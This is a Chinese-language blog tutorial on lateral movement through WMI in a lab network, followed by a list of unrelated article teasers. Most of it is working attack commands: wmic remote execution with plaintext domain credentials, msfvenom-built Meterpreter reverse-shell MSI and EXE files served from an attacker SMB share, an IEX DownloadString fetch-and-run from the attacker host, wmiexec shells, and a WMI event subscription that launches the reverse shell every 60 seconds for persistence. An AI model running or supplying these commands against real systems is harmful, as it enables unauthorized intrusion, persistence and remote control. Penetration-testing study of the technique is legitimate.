内网横向——利用WMI进行内网横向

文章目录

  • 一、WMI介绍
  • 二、常规利用方法
  • 三、常见利用工具
    • 3.1 wmiexec
    • 3.2 Invoke-WmiCommand
  • 四、WMI事件订阅的利用
    • 4.1 手动实现
    • 4.2 Sharp-WMIEvent

网络拓扑:
在这里插入图片描述
攻击机kali IP:192.168.111.0
跳板机win7 IP:192.168.111.128,192.168.52.143
靶机win server 2008 IP:192.168.52.138

一、WMI介绍

WMI(Windows Management Instrumentation,Windows管理规范)是一项核心的windows管理技术。从Windows 98开始,windows操作系统都支持WMI。用户可以通过WMI管理本地和远程计算机。Windows为远程传输WMI数据提供了两个可用的协议,即分布式组件对象模型(Distributed Component Object Model)和windows远程管理(Windows Remote Management,WinRM),使得WMI对象的查询、事件注册、WMI类方法的执行和类的创建等都可以远程执行。

利用WMI进行横向移动需要具备以下条件:1、远程主机的WMI服务为开启状态(默认开启);2、远程主机防火墙放行135端口,这是WMI管理的默认端口。

二、常规利用方法

在windows上可以通过wmic.exe和powershell Cmdlet来使用WMI数据和执行WMI方法。wmic.exe是一个与WMI进行交互的强大的命令行工具;windows powershell也提供了许多可以与WMI进行交互的Cmdlet,如Invoke-WmiMethod、Set-WmiInstance等。

1、通过WMIC查询远程主机(192.168.52.138)上允许的进程信息。

# 执行远程查询
wmic /node:192.168.52.138 /user:god\liukaifeng01 /password:hongrisec@2024. process list brief

在这里插入图片描述

2、通过调用Win32_Process.Create方法在远程主机上创建进程,启动CMD来执行系统命令。

# 创建远程进程
wmic /node:192.168.52.138 /user:god\liukaifeng01 /password:hongrisec@2024. process call create "cmd.exe /c ipconfig > c:\result.txt"

由于WMIC在执行命令时没有回显,因此可以将执行结果写入文件,然后建立IPC连接来远程读取。

# 建立IPC连接
net use \\192.168.52.138\ipc$ hongrisec@2024. /user:god\liukaifeng01
# 读取文件
type \\192.168.52.138\c$\result.txt

在这里插入图片描述

3、远程安装MSI文件
通过调用Win32_Prouduct.Install方法,可以控制远程主机安装恶意的MSI(Microsoft Installer)文件,从而获取其权限。

3.1 使用MSF生成一个恶意的MSI文件

为了收到反弹shell,这里给kali多加一个网卡,ip为192.168.52.1。

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.52.1 lport=4444 -f msi -o reverse_tcp.msi

在这里插入图片描述

3.2 在kali上搭建SMB服务器,用于文件传输。

impacket-smbserver evilsmb /root/share -smb2support# 查看smb状态
systemctl status smb
# 关闭smb服务
systemctl stop smb

在这里插入图片描述
3.3 win7使用MSI让靶机(192.168.52.138)安装恶意的MSI文件。

wmic /node:192.168.52.138 /user:god\liukaifeng01 /password:hongrisec@2024. product call install PackageLocation="\\192.168.52.1\evilsmb\reverse_tcp.msi"# MSF监听
use exploit/multi/handler # msf自带的监听模块
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.52.1 # 攻击机IP
set lport 4444
exploit

在这里插入图片描述
在这里插入图片描述

三、常见利用工具

3.1 wmiexec

impacket项目中的wmiexec.py能够以全交互或半交互的方式,通过WMI在远程主机上执行命令。注意:该工具需要远程主机开放135和445端口,其中445端口用于传输命令执行的回显。

wmiexec.py要想在windows下直接使用,可以用PyInstaller打包成独立的exe文件。

kali执行下面的命令获取win7的交互式命令行:

impacket-wmiexec god/administrator:hongrisec@2024.@192.168.111.128
# impacket-wmiexec <domain>/<username>:<password>@<ip>

在这里插入图片描述

win7执行下面的命令获取win server 2008的交互式命令行:

wmiexec.exe god/liukaifeng01:hongrisec@2024.@192.168.52.138

在这里插入图片描述

3.2 Invoke-WmiCommand

Invoke-WmiCommand.psl是powersploit项目中的一个脚本,可以通过powershell调用WMI来远程执行命令。

# 远程加载Invoke-wmicommand脚本
IEX(New-Object Net.Webclient).DownloadString('http://192.168.111.0:9999/Invoke-WmiCommand.ps1')
# 指定远程系统用户名
$User = "god\liukaifeng01"
# 指定用户的密码
$Password = ConvertTo-SecureString -String "hongrisec@2024." -AsPlainText -Force
# 将用户名和密码整合,以便导入Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
# 指定远程主机和要执行的命令
$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName "192.168.52.138" 
# 输出命令执行回显
$Remote.PayloadOutput

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

直接复制,可能会影响命令执行。

四、WMI事件订阅的利用

WMI提供了一个强大的事件处理系统,几乎可以用来对操作系统上发生的任何事件做出响应。例如,当创建某进程时,通过WMI事件订阅来执行预先设置的脚本。其中,触发时间的具体条件被称为“事件消费者”,如用户登录、新进程创建等;对指定事件发生做出的响应被称为“事件消费者”,包括一系列具体的操作,如运行脚本、记录日志、发送邮件等。在部署事件时,需要分别构建Filter和Consumer两部分,并将二者绑定在一起。

测试人员可以使用WMI的功能在远程主机上部署永久事件订阅,并在特定事件发生时执行任意代码或系统命令。使用WMI事件消费类的ActiveScriptEventConsumerCommandLineEventConsumer,可以在远程主机上执行任何攻击载荷。该技术主要用来在目标系统上完成权限持久化,也可以用于横向移动。

4.1 手动实现

1、整合PSCredential,用于后续过程的认证。

# 指定远程系统用户名
$User = "god\liukaifeng01"
# 指定用户的密码
$Password = "hongrisec@2024."
$SecurePassword = $Password | ConvertTo-SecureString -AsPlainText -Force
# 将用户名和密码整合,以便导入Credential
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$SecurePassword

在这里插入图片描述

2、设置攻击目标和其他参数

$GlobalArgs = @{}
$ComputerName = "192.168.52.138"
$GlobalArgs['Credential'] = $Credential
$GlobalArgs['ComputerName'] = $ComputerName

在这里插入图片描述

3、在远程主机(192.1168.52.138)上部署Filter事件过滤器,用于查询svchost.exe进程的产生。由于WMI所有的事件过滤器都被存储在ROOT\subscription:__EventFilter对象的实例中,因此通过Set-WmiInstance Cmdlet创建一个__EventFilter类的实例即可。

$EventFilterArgs = @{EventNamespace = 'root/cimv2'Name = "TestFilter"Query = "SELECT * FROM Win32_ProcessStartTrace where processname = 'svchost.exe'"QueryLanguage = 'WQL'
}
$EventFilter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $EventFilterArgs @GlobalArgs

shift+enter结束多行命令输入。

在这里插入图片描述

4、在远程主机上(192.1168.52.138)部署一个名为 TestConsumer 的事件消费者,创建事件消费类 CommandLineEventConsumer 的实例,在指定事件发生时执行系统命令。

$CommandLineEventConsumerArgs = @{Name = "TestConsumer"CommandLineTemplate = "C:\Windows\System32\cmd.exe /c calc.exe"
} 
$EventConsumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $CommandLineEventConsumerArgs @GlobalArgs

在这里插入图片描述

5、将创建的事件过滤器和事件消费者绑定在一起。

$FilterConsumerBindingArgs = @{Filter = $EventFilterConsumer = $EventConsumer
}
$FilterConsumerBinding = Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments $FilterConsumerBindingArgs @GlobalArgs

在这里插入图片描述

以上所有命令均是在win7上执行。

在靶机上用process monitor去查看进程树,看是否存在calc.exe
在这里插入图片描述

执行完脚本,也可以通过一些命令去查看创建的实例,已确定脚本执行成功:

# 查看创建的事件过滤器的实例
Get-WMIObject -Namespace root\Subscription -Class __EventFilter

在这里插入图片描述

# 查看创建的事件消费者的实例
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer

在这里插入图片描述

# 查看事件绑定,可以从 __PATH 属性中看到哪个 Filter 和 Consumer 用于 WMI 事件
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding

在这里插入图片描述

4.2 Sharp-WMIEvent

1、在kai中搭建SMB服务器,并将反弹shell的脚本放在共享目录中。

# 生成反弹shell
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.52.1 lport=4444 -f exe -o reverse_tcp.exe# 搭建SMB服务器
impacket-smbserver evilsmb /root/share -smb2support

在这里插入图片描述

2、在win7上执行以下命令,运行Sharp-WMIEvent

# 在win7跳板机上运行
# 导入模块
import-module .\Sharp-WMIEvent.ps1# 在靶机上部署一个随机重命名的永久事件订阅,每隔60s执行一次SMB共享中的反弹shell
Sharp-WMIEvent -Trigger Interval -IntervalPeriod 60 -ComputerName 192.168.52.138 -Username god\liukaifeng01 -Password hongrisec@2024. -Command "cmd.exe /c \\192.168.52.1\evilsmb\reverse_tcp.exe"# kali设置监听
use exploit/multi/handler # msf自带的监听模块
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.52.1
set lport 4444
exploit

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/51427.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

业务记录:处理动态表头的CSV/EXCEL文件

业务描述&#xff1a;传入一个动态表头的CSV文件&#xff0c;解析CSV&#xff0c;并保存入库。 CSV文件的表头是不确定的&#xff0c;即顺序和字段个数不确定&#xff0c;以及表头是中文字段。 例如&#xff1a; 为了顺利解析CSV文件&#xff0c;前端需要传入对应的字段名和顺…

axure制作切换栏--动态面板的应用

先看下效果&#xff1a;点击上面的切换栏 切换到西游记栏目&#xff1a; 切换到水浒传栏目&#xff1a; 上述两个图片比对可以发现&#xff0c;在点击切换栏的时候&#xff0c;里面的内容以及切换栏的下面蓝色横线也会发生对应的变化。这里涉及到两个地方的变化&#xff0c;就…

Golang 知识结构图

总结Go的入门知识结构&#xff0c;如下图所示&#xff1a;

图形/视图结构的三个坐标系

图形/视图结构的三个坐标系分别为视图结构系物理结构系&#xff0c;场景坐标系&#xff0c;图形项坐标系。 本文记录实践三个坐标系及视图与场景坐标转换&#xff0c;通过事件槽来显示出来的过程。 自定义1个View视图组件&#xff0c;其中扩展了鼠标点击、鼠标移动的事件&…

Golang | Leetcode Golang题解之第297题二叉树的序列化与反序列化

题目&#xff1a; 题解&#xff1a; type Codec struct{}func Constructor() (_ Codec) {return }func (c Codec) serialize(root *TreeNode) string {if root nil {return "X"}left : "(" c.serialize(root.Left) ")"right : "("…

前端渲染模式

渲染的概念 在Web开发中&#xff0c;渲染&#xff08;Rendering&#xff09;是一个核心概念&#xff0c;指的是将应用程序的数据&#xff08;data&#xff09;与模板&#xff08;template&#xff09;结合&#xff0c;生成最终的HTML页面&#xff0c;这个页面随后会被浏览器解析…

主宰生物进化的 “魔咒” —— 制约生物在特殊环境下进化方式的线索

一些神秘的法则制约着生物在特殊环境下的进化方式。它们还为动物将如何适应气候变暖提供了线索。 一些奇特的进化现象 一艘装满大象和老鼠的 “诺亚方舟” 搁浅在一座偏远的小岛上。动物们都幸存下来并繁衍后代。但是&#xff0c;随着世代相传&#xff0c;奇怪的事情发生了&a…

【基础篇】Docker 概览 ONE

嗨&#xff0c;大家好&#xff01;我是小竹笋&#xff0c;一名热爱创作的工程师。今天我将带领大家一起踏上探索 Docker 的奇妙之旅。我们先从 Docker 的历史和发展说起&#xff0c;然后再看看 Docker 和虚拟机之间的区别&#xff0c;最后了解一下 Docker 在各行各业的应用情况…

环境配置—批量删除时提示/usr/bin/rm: Argument list too long问题

文章目录 1. 背景介绍2. 问题原因3. 解决方案3.1 分批删除文件3.2 使用 find 命令直接删除3.3 增加系统参数限制3.4 使用循环删除 4. 结论 1. 背景介绍 在Linux系统中&#xff0c;rm 命令是删除文件和目录的常用工具。然而&#xff0c;当需要删除大量文件时&#xff0c;可能会…

【论文10】复现代码tips

一、准备工作 1.创建一个虚拟环境 conda create --name drgcnn38 python=3.8.18 2.激活虚拟环境 conda activate drgcnn38 注意事项 在Pycharm中终端(terminal)显示PS而不是虚拟环境base 问题如下所示 解决方法:shell路径改成cmd.exe 重启终端显示虚拟环境 3.安装torch …

Kafka知识总结(事务+数据存储+请求模型+常见场景)

文章收录在网站&#xff1a;http://hardyfish.top/ 文章收录在网站&#xff1a;http://hardyfish.top/ 文章收录在网站&#xff1a;http://hardyfish.top/ 文章收录在网站&#xff1a;http://hardyfish.top/ 事务 事务Producer保证消息写入分区的原子性&#xff0c;即这批消…

国内本地化OCSP服务的SSL证书:提升安全与效率的新选择

在数字化时代&#xff0c;网络安全成为企业运营和用户体验的重要基石。HTTPS&#xff08;Hypertext Transfer Protocol Secure&#xff09;作为一种安全的网络协议&#xff0c;通过SSL&#xff08;Secure Sockets Layer&#xff09;加密技术&#xff0c;保障了数据传输的机密性…

MATLAB基础应用精讲-【数模应用】Poisson 回归分析(附R语言代码实现)

目录 前言 知识储备 基于泊松回归、负二项回归模型 数据分布介绍 模型介绍 模型的选择 案例介绍 算法原理 泊松回归 数学模型 适用条件 参数估计与假设检验 SPSSAU Poisson 回归案例 1、背景 2、理论 3、操作 4、SPSSAU输出结果 5、文字分析 6、剖析 疑难解…

OpenSSL SSL_connect: Connection was reset in connection to github.com:443

OpenSSL SSL_connect: Connection was reset in connection to github.com:443 目录 OpenSSL SSL_connect: Connection was reset in connection to github.com:443 【常见模块错误】 【解决方案】 欢迎来到英杰社区https://bbs.csdn.net/topics/617804998 欢迎来到我的主页&…

kuberneter管理GUI工具Lens

从github上可以知道&#xff0c;lens的前端是用electron做的客户端工具&#xff0c;打开安装路径你会发现kubectl.exe,没错&#xff0c;就是你经常用的kubectl命令行的客户端工具。kubectl本来就能输出json的数据类型&#xff0c;集成前端更方便了。看到这里你是不是发现&#…

前端Long类型精度丢失:后端处理策略

文章目录 精度丢失的具体原因解决方法1. 使用 JsonSerialize 和 ToStringSerializer2. 使用 JsonFormat 注解3. 全局配置解决方案 结论 开发商城管理系统的品牌管理界面时&#xff0c;发现一个问题&#xff0c;接口返回品牌Id和页面展示的品牌Id不一致&#xff0c;如接口返回的…

Transformer--输入部分

&#x1f3f7;️上文我们简单介绍了Transformer模型的总体架构&#xff0c;本章我们主要介绍其输入部分 &#x1f4d6;前言 &#x1f4d6;文本嵌入层的作用 &#x1f4d6;位置编码器的作用 &#x1f4d6;前言 输入部分主要包括源文本嵌入层以及位置编码器&#xff0c;目标文本…

HX1838红外接收模块-红外遥控(外部中断+状态机)

目录 红外遥控 模块介绍 HX1838红外接收二极管 红外发射遥控器 遥控器键码 模块接线 NEC协议编码 状态机分析 驱动代码 IR.h IR.c main.c 红外遥控 红外遥控是利用红外光进行通信的设备&#xff0c;由红外LED将调制后的信号发出&#xff0c;由专用的红外接收头进行…

Unity + Hybridclr + Addressable + 微信小程序 热更新报错

报错时机&#xff1a; Generate All 怎么All 死活就是报错 生成微信小程序&#xff0c;并启动后 报错内容&#xff1a; MissingMethodException:AoT generic method notinstantiated in aot.assembly:Unity.ResourceManager:dll, 原因&#xff1a; Hybridclr 开发文档 解…

SSL/TLS和SSL VPN

1、SSL/TLS SSL安全套接字层&#xff1a;是一种加密协议&#xff0c;用于在网络通信中建立安全连接。它在应用层和传输层&#xff08;TCP/IP&#xff09;之间提供数据加密、服务器身份验证以及信息完整性验证 SSL只保护TCP流量&#xff0c;不保护UDP协议 TLS&#xff1a;传输层…